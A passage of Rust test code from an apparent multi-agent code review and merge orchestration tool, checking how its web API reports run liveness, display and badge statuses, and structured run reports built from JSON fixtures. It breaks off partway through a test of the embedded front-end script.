20359 #[tokio::test]
20366 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20367 let f = Fixture::start().await;
20368 let id = "20260922-090000-cccc";
20369 let mut state = RunState::new(
20370 PathBuf::from("/repo/magi"),
20371 "main".to_owned(),
20372 "0123456789abcdef".to_owned(),
20373 "Review only".to_owned(),
20374 Config::default(),
20375 );
20376 state.id = id.to_owned();
20377 state.status = RunStatus::Reviewing;
20378 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20379 state.driver_pid = Some(std::process::id());
20385 state.driver_started_at = Some(
20386 crate::proc::process_started_at(std::process::id())
20387 .expect("this test process's own start time must be queryable"),
20388 );
20389 let dir = f.runs().join(id);
20390 std::fs::create_dir_all(&dir).expect("run dir");
20391 std::fs::write(
20392 dir.join("run.json"),
20393 serde_json::to_string_pretty(&state).expect("serialize run"),
20394 )
20395 .expect("write run.json");
20396
20397 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20398 assert_eq!(detail["live"], "live", "{detail}");
20399 }
20400
20401 #[tokio::test]
20407 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20408 let f = Fixture::start().await;
20409 let id = "20260922-090100-dddd";
20410 let mut state = RunState::new(
20411 PathBuf::from("/repo/magi"),
20412 "main".to_owned(),
20413 "0123456789abcdef".to_owned(),
20414 "Review only".to_owned(),
20415 Config::default(),
20416 );
20417 state.id = id.to_owned();
20418 state.status = RunStatus::Reviewing;
20419 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20420 state.driver_pid = Some(std::process::id());
20425 state.driver_started_at = Some("1".to_owned());
20426 let dir = f.runs().join(id);
20427 std::fs::create_dir_all(&dir).expect("run dir");
20428 std::fs::write(
20429 dir.join("run.json"),
20430 serde_json::to_string_pretty(&state).expect("serialize run"),
20431 )
20432 .expect("write run.json");
20433
20434 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20435 assert_eq!(detail["live"], "dead", "{detail}");
20436 }
20437
20438 #[test]
20442 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20443 let mk = |id: &str, pid: Option<u32>| {
20444 let mut s = RunState::new(
20445 PathBuf::from("/repo/magi"),
20446 "main".to_owned(),
20447 "0123456789abcdef".to_owned(),
20448 "Add a web UI".to_owned(),
20449 Config::default(),
20450 );
20451 s.id = id.to_owned();
20452 s.driver_pid = pid;
20453 s.driver_started_at = Some("1790000000".to_owned());
20454 s
20455 };
20456 let states = vec![
20457 mk("20260902-140502-aaaa", Some(77)),
20458 mk("20260902-140502-bbbb", Some(77)),
20459 mk("20260902-140502-cccc", Some(77)),
20460 mk("20260902-140502-dddd", None),
20461 ];
20462 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20463 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20464 let sup: HashMap<String, String> = [(
20465 "20260902-140502-aaaa".to_owned(),
20466 "20260902-140502-cccc".to_owned(),
20467 )]
20468 .into();
20469
20470 let status_calls = std::cell::Cell::new(0);
20471 let identity_calls = std::cell::Cell::new(0);
20472 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20473 |_| {
20474 status_calls.set(status_calls.get() + 1);
20475 Some(true)
20476 },
20477 |_| {
20478 identity_calls.set(identity_calls.get() + 1);
20479 Some("1790000000".to_owned())
20480 },
20481 ));
20482 let rows = summarize(
20483 states,
20484 &open,
20485 &claimed,
20486 &sup,
20487 |p| probe.borrow_mut().status(p),
20488 |p| probe.borrow_mut().started_at(p),
20489 );
20490
20491 assert_eq!(status_calls.get(), 1, "one pid, one status query");
20492 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20493 assert_eq!(rows.len(), 4);
20494 assert!(!rows[0].waiting && rows[1].waiting);
20495 assert_eq!(rows[0].live, crate::run::Liveness::Live);
20496 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20497 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20498 assert_eq!(rows[1].superseded_by, None);
20499 }
20500
20501 #[test]
20502 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20503 let mut state = RunState::new(
20504 PathBuf::from("/repo/magi"),
20505 "main".to_owned(),
20506 "0123456789abcdef".to_owned(),
20507 "Review only".to_owned(),
20508 Config::default(),
20509 );
20510 state.id = "20260922-090200-dead".to_owned();
20511 state.status = RunStatus::Reviewing;
20512 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20513 .expect("serialize list row");
20514 assert_eq!(row["status"], "reviewing");
20515 assert_eq!(row["display_status"], "stale");
20516 assert_eq!(row["live"], "dead", "{row}");
20517 assert!(!row["done"].as_bool().unwrap());
20518 }
20519
20520 #[test]
20521 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20522 use crate::run::Liveness::{Dead, Live, Unknown};
20523 let mut state = RunState::new(
20524 PathBuf::from("/repo/magi"),
20525 "main".to_owned(),
20526 "abc".to_owned(),
20527 "Review only".to_owned(),
20528 Config::default(),
20529 );
20530 for (status, parked, node, waiting, live, expected) in [
20531 (
20532 RunStatus::Judging,
20533 true,
20534 "github-text",
20535 false,
20536 Dead,
20537 "parked",
20538 ),
20539 (RunStatus::Judging, false, "park", false, Dead, "stale"),
20540 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20541 (
20542 RunStatus::Judging,
20543 true,
20544 "github-text",
20545 true,
20546 Dead,
20547 "waiting",
20548 ),
20549 (
20550 RunStatus::Judging,
20551 false,
20552 "github-text",
20553 true,
20554 Dead,
20555 "waiting",
20556 ),
20557 (
20558 RunStatus::Judging,
20559 false,
20560 "github-text",
20561 false,
20562 Dead,
20563 "stale",
20564 ),
20565 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20566 (RunStatus::Judging, true, "park", false, Live, "judging"),
20567 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20568 (RunStatus::Merged, true, "park", false, Dead, "merged"),
20569 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20570 (
20571 RunStatus::Blocked,
20572 true,
20573 "github-text",
20574 true,
20575 Dead,
20576 "waiting",
20577 ),
20578 ] {
20579 state.status = status;
20580 state.parked = parked;
20581 state.events.clear();
20582 state.event(
20583 "park",
20584 "an earlier park does not determine the latest state",
20585 );
20586 state.event(node, "message is not used for classification");
20587 let summary = RunSummary::of(&state, waiting, live);
20588 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20589 assert_eq!(
20590 summary.display_status, expected,
20591 "{status:?}/{node}/{live:?}"
20592 );
20593 assert_eq!(detail.display_status, summary.display_status);
20594 assert_eq!(detail.waiting, summary.waiting);
20595 }
20596 state.status = RunStatus::Judging;
20597 state.parked = false;
20598 state.events.clear();
20599 assert_eq!(run_display_status(&state, false, Dead), "stale");
20600 }
20601
20602 #[test]
20603 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20604 use crate::run::Liveness::{Dead, Live, Unknown};
20605 let mut state = RunState::new(
20606 PathBuf::from("/repo/magi"),
20607 "main".to_owned(),
20608 "abc".to_owned(),
20609 "Badge".to_owned(),
20610 Config::default(),
20611 );
20612 for (status, waiting, live, superseded, expected) in [
20613 (RunStatus::Gating, false, Dead, false, "stale"),
20614 (RunStatus::Gating, false, Dead, true, "superseded"),
20615 (RunStatus::Gating, false, Unknown, true, "superseded"),
20616 (RunStatus::Gating, true, Dead, true, "superseded"),
20617 (RunStatus::Gating, true, Dead, false, "waiting"),
20618 (RunStatus::Gating, false, Unknown, false, "gating"),
20619 (RunStatus::Gating, false, Live, true, "gating"),
20620 (RunStatus::Gating, true, Live, true, "waiting"),
20621 (RunStatus::Merged, false, Dead, true, "merged"),
20622 (RunStatus::Blocked, false, Dead, true, "blocked"),
20623 ] {
20624 state.status = status;
20625 let display = run_display_status(&state, waiting, live);
20626 assert_eq!(
20627 run_badge_status(&state, &display, live, superseded),
20628 expected,
20629 "{status:?}/{live:?}/superseded={superseded}"
20630 );
20631 }
20632 }
20633
20634 #[test]
20635 fn summarize_and_detail_expose_badge_status() {
20636 use crate::run::Liveness::Dead;
20637 let mut state = RunState::new(
20638 PathBuf::from("/repo/magi"),
20639 "main".to_owned(),
20640 "abc".to_owned(),
20641 "Badge".to_owned(),
20642 Config::default(),
20643 );
20644 state.status = RunStatus::Gating;
20645 let none = HashSet::new();
20646 let id = state.id.clone();
20647 let mut by = HashMap::new();
20648 let rows = summarize(
20649 [state.clone()],
20650 &none,
20651 &none,
20652 &by,
20653 |_| Some(false),
20654 |_| None,
20655 );
20656 assert_eq!(rows[0].badge_status, rows[0].display_status);
20658 by.insert(id, "20260901-000000-913b".to_owned());
20659 let detail = RunDetailView::of(
20660 state.clone(),
20661 false,
20662 Dead,
20663 Some("913b".to_owned()),
20664 None,
20665 None,
20666 );
20667 assert_eq!(detail.badge_status, "superseded");
20668 let json = serde_json::to_value(&detail).unwrap();
20669 assert_eq!(json["badge_status"], "superseded");
20670 let detail = RunDetailView::of(state, false, Dead, None, None, None);
20671 assert_eq!(detail.badge_status, "stale");
20672 }
20673
20674 #[tokio::test]
20675 async fn run_display_status_routes_share_the_open_question_store() {
20676 let f = Fixture::start().await;
20677 let id = "20260922-090200-abcd";
20678 write_run(&f.runs(), id, RunStatus::Judging);
20679 let mut state = read_run(&f.runs(), id).unwrap();
20680 state.parked = true;
20681 state.driver_exited = true;
20682 state.event("github-text", "waiting for the owner");
20683 state.save_under(f.home.path()).unwrap();
20684 let mut task = Task::new(
20685 "resumed task".to_owned(),
20686 "do it".to_owned(),
20687 PathBuf::from("/repo"),
20688 Source::Human,
20689 );
20690 task.runs = vec![id.to_owned(), id.to_owned()];
20691 f.queue().put(&mut task).unwrap();
20692 let store = f.questions();
20693 let mut q = Question::new(
20694 id.to_owned(),
20695 "github-text".to_owned(),
20696 "owner".to_owned(),
20697 "Approve the text?".to_owned(),
20698 String::new(),
20699 Vec::new(),
20700 );
20701 store.put(&mut q).unwrap();
20702 for expected in ["waiting", "parked"] {
20703 let list = f.get("/api/runs").await.json();
20704 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20705 assert_eq!(list[0]["display_status"], expected);
20706 assert_eq!(detail["display_status"], expected);
20707 assert_eq!(detail["waiting"], list[0]["waiting"]);
20708 assert_eq!(list[0]["badge_status"], expected);
20709 assert_eq!(detail["badge_status"], expected);
20710 assert!(list[0]["superseded_by"].is_null());
20711 assert!(detail["superseded_by"].is_null());
20712 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20713 let history = task_detail["history"].as_array().unwrap();
20714 assert_eq!(history.len(), 2);
20715 assert!(history[0]["badge"].is_null());
20716 assert_eq!(history[1]["badge"], expected);
20717 q.status = ask::QuestionStatus::Answered;
20718 store.put(&mut q).unwrap();
20719 }
20720 }
20721
20722 #[tokio::test]
20723 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20724 let f = Fixture::start().await;
20725 let id = "20260922-090200-abcd";
20726 write_run(&f.runs(), id, RunStatus::Judging);
20727 let mut state = read_run(&f.runs(), id).unwrap();
20728 state.parked = true;
20729 state.driver_exited = true;
20730 state.event("park", "stopped at a node boundary");
20731 state.save_under(f.home.path()).unwrap();
20732
20733 for expected in ["parked", "stale"] {
20734 let list = f.get("/api/runs").await.json();
20735 let detail = f.get(&format!("/api/runs/{id}")).await.json();
20736 assert_eq!(list[0]["live"], "dead");
20737 assert_eq!(list[0]["display_status"], expected);
20738 assert_eq!(detail["display_status"], expected);
20739 state.parked = false;
20742 state.save_under(f.home.path()).unwrap();
20743 }
20744 }
20745
20746 #[tokio::test]
20747 async fn the_run_list_is_newest_first_and_honours_a_limit() {
20748 let f = Fixture::start().await;
20749 for id in [
20750 "20260902-140501-aaaa",
20751 "20260902-140502-bbbb",
20752 "20260902-140503-cccc",
20753 ] {
20754 write_run(&f.runs(), id, RunStatus::Merged);
20755 }
20756
20757 let all = f.get("/api/runs").await.json();
20758 let capped = f.get("/api/runs?limit=2").await.json();
20759
20760 assert_eq!(all[0]["id"], "20260902-140503-cccc");
20761 assert_eq!(all.as_array().map(Vec::len), Some(3));
20762 assert_eq!(capped.as_array().map(Vec::len), Some(2));
20763 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20764 }
20765
20766 #[tokio::test]
20767 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20768 let f = Fixture::start().await;
20769 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20770
20771 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20772
20773 assert_eq!(res.status, 200);
20774 assert!(
20775 res.headers
20776 .contains("content-type: text/plain; charset=utf-8"),
20777 "a browser must render it, not download it: {}",
20778 res.headers
20779 );
20780 assert!(
20784 res.body.contains("20260902-140501-a1b2"),
20785 "the report is about the run that was asked for: {}",
20786 res.body
20787 );
20788 }
20789
20790 #[tokio::test]
20791 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20792 crate::run::pin_test_home();
20794 let f = Fixture::start().await;
20795 let id = "20260902-140501-a1b2";
20796 write_run(&f.runs(), id, RunStatus::Stalled);
20797 let path = f.runs().join(id).join("run.json");
20800 let mut v: serde_json::Value =
20801 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20802 v["tally"] = serde_json::json!({
20803 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20804 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20805 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20806 "met_quorum": false, "rankings": 1
20807 });
20808 v["reviews"] = serde_json::json!([{
20809 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20810 "e2e_deferred": true,
20811 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20812 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20813 ]}]
20814 }]);
20815 std::fs::write(&path, v.to_string()).unwrap();
20816 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20817 std::fs::write(
20818 f.runs().join("20260902-140502-dead").join("run.json"),
20819 "{not json",
20820 )
20821 .unwrap();
20822
20823 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20824
20825 assert_eq!(res.status, 200, "{}", res.body);
20826 assert!(res.headers.contains("content-type: application/json"));
20827 let j = res.json();
20828 assert_eq!(j["schema"], 1);
20829 assert_eq!(j["header"]["id"], id);
20830 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20831 let kinds: Vec<&str> = j["sections"]
20832 .as_array()
20833 .unwrap()
20834 .iter()
20835 .map(|s| s["kind"].as_str().unwrap())
20836 .collect();
20837 assert_eq!(kinds, ["candidates", "tally", "review"]);
20838 let tally = &j["sections"][1]["tally"];
20839 assert_eq!(
20840 (tally["decided"].clone(), tally["provisional"].clone()),
20841 (false.into(), true.into())
20842 );
20843 let round = &j["sections"][2]["rounds"][0];
20844 assert_eq!(round["e2e"]["state"], "deferred");
20845 assert_eq!(round["findings"][0]["severity"], "major");
20846 assert_eq!(round["findings"][0]["blocking"], true);
20847 assert_eq!(round["findings"][0]["state"], "open");
20848
20849 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20851
20852 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20854 assert_ne!(bad.status, 200, "{}", bad.body);
20855 assert_eq!(
20856 bad.status,
20857 f.get("/api/runs/20260902-140502-dead/report").await.status
20858 );
20859 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20860 assert_eq!(
20861 f.get("/api/runs/20260902-999999-ffff/report.json")
20862 .await
20863 .status,
20864 404
20865 );
20866 }
20867
20868 #[tokio::test]
20869 async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
20870 crate::run::pin_test_home();
20871 let f = Fixture::start().await;
20872 let id = "20260902-140505-facts";
20873 write_run(&f.runs(), id, RunStatus::Stalled);
20874 let path = f.runs().join(id).join("run.json");
20875 let mut v: serde_json::Value =
20876 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20877 v["candidates"] = serde_json::json!([{
20878 "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
20879 "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
20880 }]);
20881 v["tally"] = serde_json::json!({
20882 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20883 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20884 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20885 "met_quorum": false, "rankings": 1
20886 });
20887 v["quota"] = serde_json::json!([
20888 {
20889 "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
20890 "agent": "signed-out", "cause": "authentication"
20891 },
20892 {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
20893 ]);
20894 v["startup"] = serde_json::json!({
20895 "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
20896 "failure": "fetch refused\ncredentials expired"
20897 });
20898 v["recovery"] = serde_json::json!({
20899 "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
20900 "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
20901 "repair": {"started": {"before": "abcdef012345"}}
20902 });
20903 v["reviews"] = serde_json::json!([{
20904 "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
20905 "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
20906 "vote_split": true, "verdict": "approve_with_findings",
20907 "e2e": [{
20908 "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
20909 }],
20910 "reviews": [
20911 {"reviewer": 1, "agent": "reviewer", "vote": "reject",
20912 "summary": "Initial **concern**.\n\nPlease inspect.",
20913 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
20914 {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
20915 ],
20916 "reconsideration": [{
20917 "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
20918 "reason": "The blocker is resolved.\nOne minor issue remains."
20919 }]
20920 }]);
20921 v["merge_repairs"] = serde_json::json!([{
20922 "question": "question-42", "head": "abcdef012345",
20923 "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
20924 "gate": [], "phase": "Failed",
20925 "failure": "owner decision required\ninspect updated results"
20926 }]);
20927 v["bump_decision_attempts"] = serde_json::json!([
20928 {"agent": "first", "outcome": "unavailable"},
20929 {"agent": "second", "outcome": "patch\naccepted"}
20930 ]);
20931 v["release_bump"] = serde_json::json!({
20932 "version": "1.2.3", "local": true,
20933 "problem": "publish failed\nregistry refused",
20934 "release": {
20935 "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
20936 "failed": "registry refused\nawait owner approval",
20937 "log": [{
20938 "name": "cargo publish", "code": 1,
20939 "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
20940 }]
20941 }
20942 });
20943 std::fs::write(&path, v.to_string()).unwrap();
20944
20945 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20946 assert_eq!(res.status, 200, "{}", res.body);
20947 let j = res.json();
20948 assert_eq!(j["schema"], 1);
20949 assert_eq!(j["header"]["tone"], "warn");
20950 assert_eq!(
20951 j["header"]["startup"],
20952 "review branch=topic stage=fetch complete=false"
20953 );
20954 assert_eq!(
20955 j["header"]["startup_failure"],
20956 "fetch refused\ncredentials expired"
20957 );
20958 assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
20959 assert_eq!(
20960 j["sections"][0]["items"][0]["detail"],
20961 "Already covered.\nNo patch needed."
20962 );
20963 assert_eq!(
20964 j["sections"][1]["tally"]["rate_limited"],
20965 serde_json::json!(["judge-1", "judge-2"])
20966 );
20967 let sections = j["sections"].as_array().unwrap();
20968 let labels: Vec<_> = sections
20969 .iter()
20970 .map(|section| {
20971 section["key"]
20972 .as_str()
20973 .or_else(|| section["kind"].as_str())
20974 .unwrap()
20975 })
20976 .collect();
20977 assert_eq!(
20978 labels,
20979 [
20980 "candidates",
20981 "tally",
20982 "quota_details",
20983 "recovery",
20984 "review",
20985 "merge_repairs",
20986 "release_decision_attempts",
20987 "release_bump",
20988 "release_execution"
20989 ]
20990 );
20991 let note = |key: &str| {
20992 sections
20993 .iter()
20994 .find(|section| section["kind"] == "notes" && section["key"] == key)
20995 .unwrap()
20996 };
20997 let unavailable = note("quota_details");
20998 assert_eq!(unavailable["tone"], "warn");
20999 assert_eq!(
21000 unavailable["lines"],
21001 serde_json::json!([
21002 "judge-1 (signed-out: re-authenticate)",
21003 "judge-2 (usage limit)"
21004 ])
21005 );
21006 let recovery = note("recovery");
21007 assert_eq!(recovery["tone"], "warn");
21008 assert!(
21009 recovery["lines"][0]
21010 .as_str()
21011 .unwrap()
21012 .contains("head moved\nreview the new diff")
21013 );
21014 assert_eq!(
21015 recovery["lines"][1],
21016 "the task's own completion criteria were kept"
21017 );
21018 assert_eq!(recovery["lines"][2], "repair: unfinished");
21019 let review = sections
21020 .iter()
21021 .find(|section| section["kind"] == "review")
21022 .unwrap();
21023 assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21024 let round = &review["rounds"][0];
21025 assert_eq!(round["verified_head"], "fedcba9");
21026 assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21027 assert_eq!(round["status"], "incomplete");
21028 assert_eq!(round["e2e"]["state"], "pass");
21029 assert_eq!(round["reviewers"][0]["vote"], "reject");
21030 assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21031 assert_eq!(
21032 round["reviewers"][0]["reason"],
21033 "Initial **concern**.\n\nPlease inspect."
21034 );
21035 assert!(
21036 !round["reviewers"][0]["reason_md"]
21037 .as_array()
21038 .unwrap()
21039 .is_empty()
21040 );
21041 assert!(round["reviewers"][1]["final_vote"].is_null());
21042 assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21043 assert_eq!(
21044 round["reconsideration"][0]["reason"],
21045 "The blocker is resolved.\nOne minor issue remains."
21046 );
21047 assert!(
21048 !round["reconsideration"][0]["reason_md"]
21049 .as_array()
21050 .unwrap()
21051 .is_empty()
21052 );
21053 let repairs = note("merge_repairs");
21054 assert_eq!(repairs["tone"], "warn");
21055 assert_eq!(
21056 repairs["lines"][0],
21057 "question question-42 head abcdef012345 Failed\nhttps://example.test/pull/42"
21058 );
21059 assert_eq!(
21060 repairs["lines"][1],
21061 "held: owner decision required\ninspect updated results"
21062 );
21063 assert_eq!(
21064 repairs["lines"][2],
21065 "original [R1-1-1] Minor: Check edge case"
21066 );
21067 assert_eq!(
21068 repairs["lines"][3],
21069 "original reviewer #1: ApproveWithFindings"
21070 );
21071 assert_eq!(
21072 repairs["lines"][4],
21073 "Repair never approves a merge; updated results require a fresh owner decision."
21074 );
21075 let attempts = note("release_decision_attempts");
21076 assert_eq!(attempts["tone"], "neutral");
21077 assert_eq!(
21078 attempts["lines"],
21079 serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21080 );
21081 let bump = sections
21082 .iter()
21083 .find(|section| section["kind"] == "release_bump")
21084 .unwrap();
21085 assert_eq!(bump["bump"]["automerge"], "local");
21086 assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21087 assert_eq!(bump["tone"], "warn");
21088 let execution = note("release_execution");
21089 assert_eq!(execution["tone"], "warn");
21090 assert_eq!(
21091 execution["lines"][0],
21092 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21093 );
21094 assert_eq!(
21095 execution["lines"][1],
21096 "tag on remote: true; 1 command(s) completed"
21097 );
21098 assert_eq!(
21099 execution["lines"][2],
21100 "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21101 );
21102
21103 let raw = f.get(&format!("/api/runs/{id}/report")).await;
21105 assert_eq!(raw.status, 200);
21106 assert!(
21107 raw.headers
21108 .contains("content-type: text/plain; charset=utf-8")
21109 );
21110 assert!(raw.body.contains("fetch refused\ncredentials expired"));
21111 assert!(raw.body.contains("Already covered."));
21112 assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21113 assert!(raw.body.contains("judge-2 (usage limit)"));
21114 assert!(
21115 raw.body
21116 .contains("owner decision required\ninspect updated results")
21117 );
21118 assert!(raw.body.contains("2. second: patch\naccepted"));
21119 assert!(raw.body.contains(
21120 "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21121 ));
21122
21123 let legacy_id = "20260902-140506-old";
21125 write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21126 let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21127 assert_eq!(legacy.status, 200, "{}", legacy.body);
21128 let legacy = legacy.json();
21129 assert!(legacy["header"]["startup"].is_null());
21130 assert!(legacy["header"]["startup_failure"].is_null());
21131 assert!(
21132 legacy["sections"]
21133 .as_array()
21134 .unwrap()
21135 .iter()
21136 .all(|section| section["kind"] != "notes")
21137 );
21138 }
21139
21140 #[tokio::test]
21141 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21142 crate::run::pin_test_home();
21143 let f = Fixture::start().await;
21144 let id = "20260902-140503-delib";
21145 write_run(&f.runs(), id, RunStatus::Merged);
21146 let path = f.runs().join(id).join("run.json");
21147 let mut v: serde_json::Value =
21148 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21149 v["judgements"] = serde_json::json!([
21150 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21151 ]);
21152 v["tally"] = serde_json::json!({
21153 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21154 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21155 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21156 "met_quorum": true, "rankings": 1
21157 });
21158 v["deliberation"] = serde_json::json!([
21159 {
21160 "round": 1,
21161 "turns": [
21162 {
21163 "judge": 1,
21164 "agent": "judge-1",
21165 "body": "I prefer candidate **A** because it has cleaner tests.",
21166 "tentative": "A"
21167 }
21168 ]
21169 },
21170 {
21171 "round": 2,
21172 "turns": [
21173 {
21174 "judge": 1,
21175 "agent": "judge-1",
21176 "body": "Still thinking, no choice yet.",
21177 "tentative": null
21178 }
21179 ]
21180 }
21181 ]);
21182 std::fs::write(&path, v.to_string()).unwrap();
21183
21184 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21185 assert_eq!(res.status, 200, "{}", res.body);
21186 let j = res.json();
21187 let judging = j["sections"]
21188 .as_array()
21189 .unwrap()
21190 .iter()
21191 .find(|s| s["kind"] == "judging")
21192 .expect("judging section exists");
21193
21194 let delib_lines = judging["deliberation"].as_array().unwrap();
21196 assert_eq!(delib_lines.len(), 2);
21197 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21198 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21199
21200 let rounds = judging["rounds"].as_array().unwrap();
21202 assert_eq!(rounds.len(), 2);
21203 let r1_t0 = &rounds[0]["turns"][0];
21204 assert_eq!(r1_t0["judge"], 1);
21205 assert_eq!(r1_t0["agent"], "judge-1");
21206 assert_eq!(r1_t0["tentative"], "A");
21207 assert_eq!(
21208 r1_t0["body"],
21209 "I prefer candidate **A** because it has cleaner tests."
21210 );
21211 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21212
21213 let r2_t0 = &rounds[1]["turns"][0];
21214 assert_eq!(r2_t0["judge"], 1);
21215 assert_eq!(r2_t0["agent"], "judge-1");
21216 assert!(r2_t0["tentative"].is_null());
21217 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
21218 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21219
21220 let id_empty = "20260902-140504-nodelib";
21222 write_run(&f.runs(), id_empty, RunStatus::Merged);
21223 let path_empty = f.runs().join(id_empty).join("run.json");
21224 let mut v_empty: serde_json::Value =
21225 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21226 v_empty["judgements"] = serde_json::json!([
21227 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21228 ]);
21229 v_empty["deliberation"] = serde_json::json!([]);
21230 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21231
21232 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21233 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21234 let j_empty = res_empty.json();
21235 let judging_empty = j_empty["sections"]
21236 .as_array()
21237 .unwrap()
21238 .iter()
21239 .find(|s| s["kind"] == "judging")
21240 .expect("judging section exists");
21241 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21242 }
21243
21244 #[tokio::test]
21245 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21246 let f = Fixture::start().await;
21247
21248 let html = f.get("/").await;
21249 let css = f.get("/app.css").await;
21250 let js = f.get("/app.js").await;
21251
21252 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21253 assert!(
21254 html.headers
21255 .contains("content-type: text/html; charset=utf-8")
21256 );
21257 assert!(css.headers.contains("content-type: text/css"));
21258 assert!(js.headers.contains("content-type: text/javascript"));
21259 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21260 }
21261
21262 #[test]
21263 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21264 let body = |name: &str| {
21265 let at = APP_JS
21266 .find(name)
21267 .unwrap_or_else(|| panic!("{name} missing"));
21268 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21269 };
21270 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21271 let note = body("function landRoundNote");
